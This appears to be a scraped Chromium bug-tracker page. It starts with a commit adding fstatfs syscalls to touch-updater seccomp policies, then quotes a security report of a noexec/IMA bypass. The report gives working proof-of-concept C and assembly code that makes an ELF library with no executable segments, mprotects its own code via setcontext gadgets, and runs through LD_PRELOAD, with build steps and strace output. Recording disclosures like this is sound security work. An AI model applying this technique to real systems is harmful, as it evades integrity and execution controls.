[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm64/rmi4update.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm64/g2touch.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/gdixupdate.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/emrightupdate.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/elani2chid.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm64/wacom_flash.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/etphidiap/policies/amd64/etphidiap.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/stupdate/policies/amd64/stupdate.read.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/mfsupdate.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/eps2pstiap.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/elani2chid.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/rmi4update.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/pixtpfwup.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/stupdate/policies/amd64/stupdate.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/etphidiap/policies/amd64/etphidiap.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/gdixupdate.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/mfsupdate.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm64/wacom_flash.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/elani2chid.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/wacom_flash.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/zinitixupdate.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/wdt_util.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/wdt_util.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/g2touch.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/gdixupdate.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/elani2chid.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/wacom_flash.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/wdt_util.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/stupdate/policies/amd64/stupdate.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/eps2pstiap.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/zinitixupdate.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/sisupdate.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/pixtpfwup.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/g2touch.update.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/g2touch.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/pixtpfwup.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/amd64/emrightupdate.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/rmi4update.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm64/rmi4update.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm64/g2touch.query.policy
[modify]https://crrev.com/3d54d863f2e8c003d198c01dad1d4453d3d867a9/policies/arm/rmi4update.update.policy
commit 3d54d863f2e8c003d198c01dad1d4453d3d867a9
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Aug 24 20:48:08 2021
Add fstatfs(64) syscalls to seccomp policies
Due to a local security hardening patch in glibc, we're now
calling fstatfs and fstatfs64 during dlopen. This is crashing
dash and kmod at present, which we _suspect_ some of those
crashes may be due to uncaught errors in touch_updater policies,
Crashes were identified via crash.corp
dash:
kmod:
BUG=chromium:1182687
TEST=Check CQ for dash seccomp failures during HW tests
Cq-Depend: chromium:3573728
Change-Id: Ie2ac28ca6ba84b94139ec65ae52dd8e3e73a9b7f
Reviewed-on:
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Andrew de los Reyes <adlr@chromium.org>
Reviewed-by: Harry Cutts <hcutts@chromium.org>
(cherry picked from commit 97e19f6c183413affb7dbef8b4265234b78f6365)
Reviewed-on:
Reviewed-by: Bob Moragues <moragues@chromium.org>
Tested-by: Davis Hung <davis.hung@quanta.corp-partner.google.com>
Commit-Queue: Knox Chiou <knoxchiou@chromium.org>
Tested-by: Knox Chiou <knoxchiou@chromium.org>
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
is...@google.com <is...@google.com> #82
This issue was migrated from crbug.com/chromium/1182687?no_tracker_redirect=1
[Monorail components added to Component Tags custom field.]
[Monorail components added to Component Tags custom field.]
Description
This is marked as Severity-High because a noexec bypass would be exactly that, but currently labelled a P2 because we haven't fully confirmed that it works on CrOS.
"""
At least in the Debian Stretch VM I'm testing with, even dynamic ELF
libraries can be crafted such that they can be loaded without tripping
the security hook that listens for mmap() with PROT_EXEC because
glibc's dynamic loader allows you to load a library that has no
executable segments; a demo for this follows below. It feels like this
probably violates IMA's design goals, but I'm not sure.
=============================
user@debian:~/ima_stuff$ cat make_segments_rw.c
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <elf.h>
#include <sys/mman.h>
#include <sys/stat.h>
int main(int argc, char **argv) {
int fd = open(argv[1], O_RDWR);
if (fd == -1) err(1, "open");
struct stat st;
if (fstat(fd, &st)) err(1, "stat");
unsigned char *mapping = mmap(NULL, st.st_size,
PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) err(1, "mmap");
Elf64_Ehdr *ehdr = (void*)mapping;
Elf64_Phdr *phdrs = (void*)(mapping + ehdr->e_phoff);
for (int i=0; i<ehdr->e_phnum; i++) {
phdrs[i].p_flags &= ~PF_X;
phdrs[i].p_flags |= PF_W;
}
return 0;
}
user@debian:~/ima_stuff$ cat test.s
.text
.section .text.startup,"aw",@progbits
.globl foobar
.align 4096
foobar:
/* alignment for xmm stuff in libc */
sub $8, %rsp
call getpid
mov %rax, %rsi
leaq message(%rip), %rdi
call printf
movq stdout_indir(%rip), %rdi
movq (%rdi), %rdi
call fflush
xor %edi, %edi
call _exit
.section .init_array,"aw"
.align 8
.quad rmdir+0x774
.section .fini_array,"aw"
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad ucontext_data /* goes into rdi */
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad setcontext+0x35 /* call target */
.data
ucontext_data:
/* 0x00 */
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
/* 0x40 */
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, foobar
.quad 0x1000, 0xdeadbeefdeadbeef
/* 0x80 */
.quad 0xdeadbeefdeadbeef, 0x7
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad stack_end, mprotect
/* my stack */
.fill 0x10000, 1, 0x42
stack_end:
.quad foobar
message:
.string "hello world from PID %d\n"
stdout_indir:
.quad stdout
user@debian:~/ima_stuff$ gcc -o make_segments_rw make_segments_rw.c
user@debian:~/ima_stuff$ as -o test.o test.s
test.s: Assembler messages:
test.s:2: Warning: setting incorrect section attributes for .text.startup
user@debian:~/ima_stuff$ ld -shared -znorelro -o test.so test.o
user@debian:~/ima_stuff$ ./make_segments_rw test.so
user@debian:~/ima_stuff$ LD_PRELOAD=./test.so /bin/echo
hello world from PID 1053
user@debian:~/ima_stuff$ sudo tail
/sys/kernel/security/ima/runtime_measurements_count
1182
user@debian:~/ima_stuff$ sudo tail /sys/kernel/security/ima/runtime_measurements
tail: cannot open '/sys/kernel/security/ima/runtime_measurements' for
reading: No such file or directory
user@debian:~/ima_stuff$ sudo tail
/sys/kernel/security/ima/ascii_runtime_measurements
10 2435d24127ce5bcfbe776589ac86bc85530da07d ima-ng
sha256:ae35ddf5dbbef6ea31e8b87326001d12a6b4ec479bb8195b874d733d69ed1a4d
/usr/bin/x86_64-linux-gnu-gcc-6
10 f3ed20073a77fbc020d2807ce12ffc4cdbced976 ima-ng
sha256:65af5a9ea7ce00be9b921d4b13f5224c2369451eb918d4fa7721442283545957
/usr/bin/x86_64-linux-gnu-g++-6
10 25f0128e89a730a6f1cdd42d8de71d3db2625c9e ima-ng
sha256:d5d7e609b95939d0ae9f75a953d5cda4f1d8b9e4c1db98aeee7f792028bf026e
/usr/bin/x86_64-linux-gnu-as
10 51cf269a0008ab8173c7a696bee11be86a0bbd45 ima-ng
sha256:2d10a4e221ef8454b635f1ec646e6f4ff7f3db8e2e59b489c642758b2624a659
/usr/lib/x86_64-linux-gnu/
10 b5c1db60c50722e1af84b83b34c0adb04b98d040 ima-ng
sha256:d3eef29b5b5bfc12999c5dbcc91029302477b70c7599aeb6b564140a336ab00b
/usr/lib/x86_64-linux-gnu/
10 6364d50cdac1733b7fd5dcfd9df124d1e4362a12 ima-ng
sha256:30c26e4b3cbd0677b2a23d09a72989002af138be57d301ed529c91b88427098f
/usr/lib/gcc/x86_64-linux-gnu/6/collect2
10 2a8c7ddacee57967e8a00ee1a522b552e29f559f ima-ng
sha256:a7b6287a8095701713e9ee7a886cae1f1ceefd0ce9c45dcc38719af563200964
/usr/bin/x86_64-linux-gnu-ld.bfd
10 e55a9c15349e2271cbdfe2f4fe36cd5b4070d3d0 ima-ng
sha256:b31674ad141a40eb2603f20400cc0dea4ee32ecf87771df3d039f16aae60ee26
/usr/lib/gcc/x86_64-linux-gnu/6/liblto_plugin.so.0.0.0
10 617aab630be74cd5bb7d830a727fd29cda361743 ima-ng
sha256:40fbf6acd3182d7a1ad158cd4de48da704bfe84f468d7b58dd557db93fe8a34c
/usr/bin/vim.basic
10 2c1fe398ecc0a8db6651621715d60a7e1b1958dc ima-ng
sha256:8523b422a01af773eff76b981c763cf0c739ea3030e592bb4d4f7854e295c418
/home/user/ima_stuff/make_segments_rw
user@debian:~/ima_stuff$
=============================
When looking at the syscalls the process is making, you can see that
it indeed never calls mmap() with PROT_EXEC on the library (my
shellcode does mprotect() the code to be executable, but IMA doesn't
use the mprotect security hook):
=============================
user@debian:~/ima_stuff$ strace -E LD_PRELOAD=./test.so /bin/echo
execve("/bin/echo", ["/bin/echo"], [/* 44 vars */]) = 0
brk(NULL) = 0x5642c52bc000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x7fb83e817000
open("./test.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\20\0\0\0\0\0\0"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=72232, ...}) = 0
getcwd("/home/user/ima_stuff", 128) = 21
mmap(NULL, 2167449, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_DENYWRITE,
3, 0) = 0x7fb83e3e5000
mprotect(0x7fb83e3e7000, 2093056, PROT_NONE) = 0
mmap(0x7fb83e5e6000, 69632, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7fb83e5e6000
mprotect(0x7ffea1b1f000, 4096,
PROT_READ|PROT_WRITE|PROT_EXEC|PROT_GROWSDOWN) = 0
close(3) = 0
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=103509, ...}) = 0
mmap(NULL, 103509, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb83e7fd000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\3\2\0\0\0\0\0"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1689360, ...}) = 0
mmap(NULL, 3795360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3,
0) = 0x7fb83e046000
mprotect(0x7fb83e1db000, 2097152, PROT_NONE) = 0
mmap(0x7fb83e3db000, 24576, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x195000) = 0x7fb83e3db000
mmap(0x7fb83e3e1000, 14752, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb83e3e1000
close(3) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x7fb83e7fb000
arch_prctl(ARCH_SET_FS, 0x7fb83e7fb700) = 0
mprotect(0x7fb83e3db000, 16384, PROT_READ) = 0
mprotect(0x5642c3eed000, 4096, PROT_READ) = 0
mprotect(0x7fb83e81a000, 4096, PROT_READ) = 0
munmap(0x7fb83e7fd000, 103509) = 0
mprotect(0x7fb83e3e6000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
getpid() = 1084
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
brk(NULL) = 0x5642c52bc000
brk(0x5642c52dd000) = 0x5642c52dd000
write(1, "hello world from PID 1084\n", 26hello world from PID 1084
) = 26
exit_group(0) = ?
+++ exited with 0 +++
=============================
"""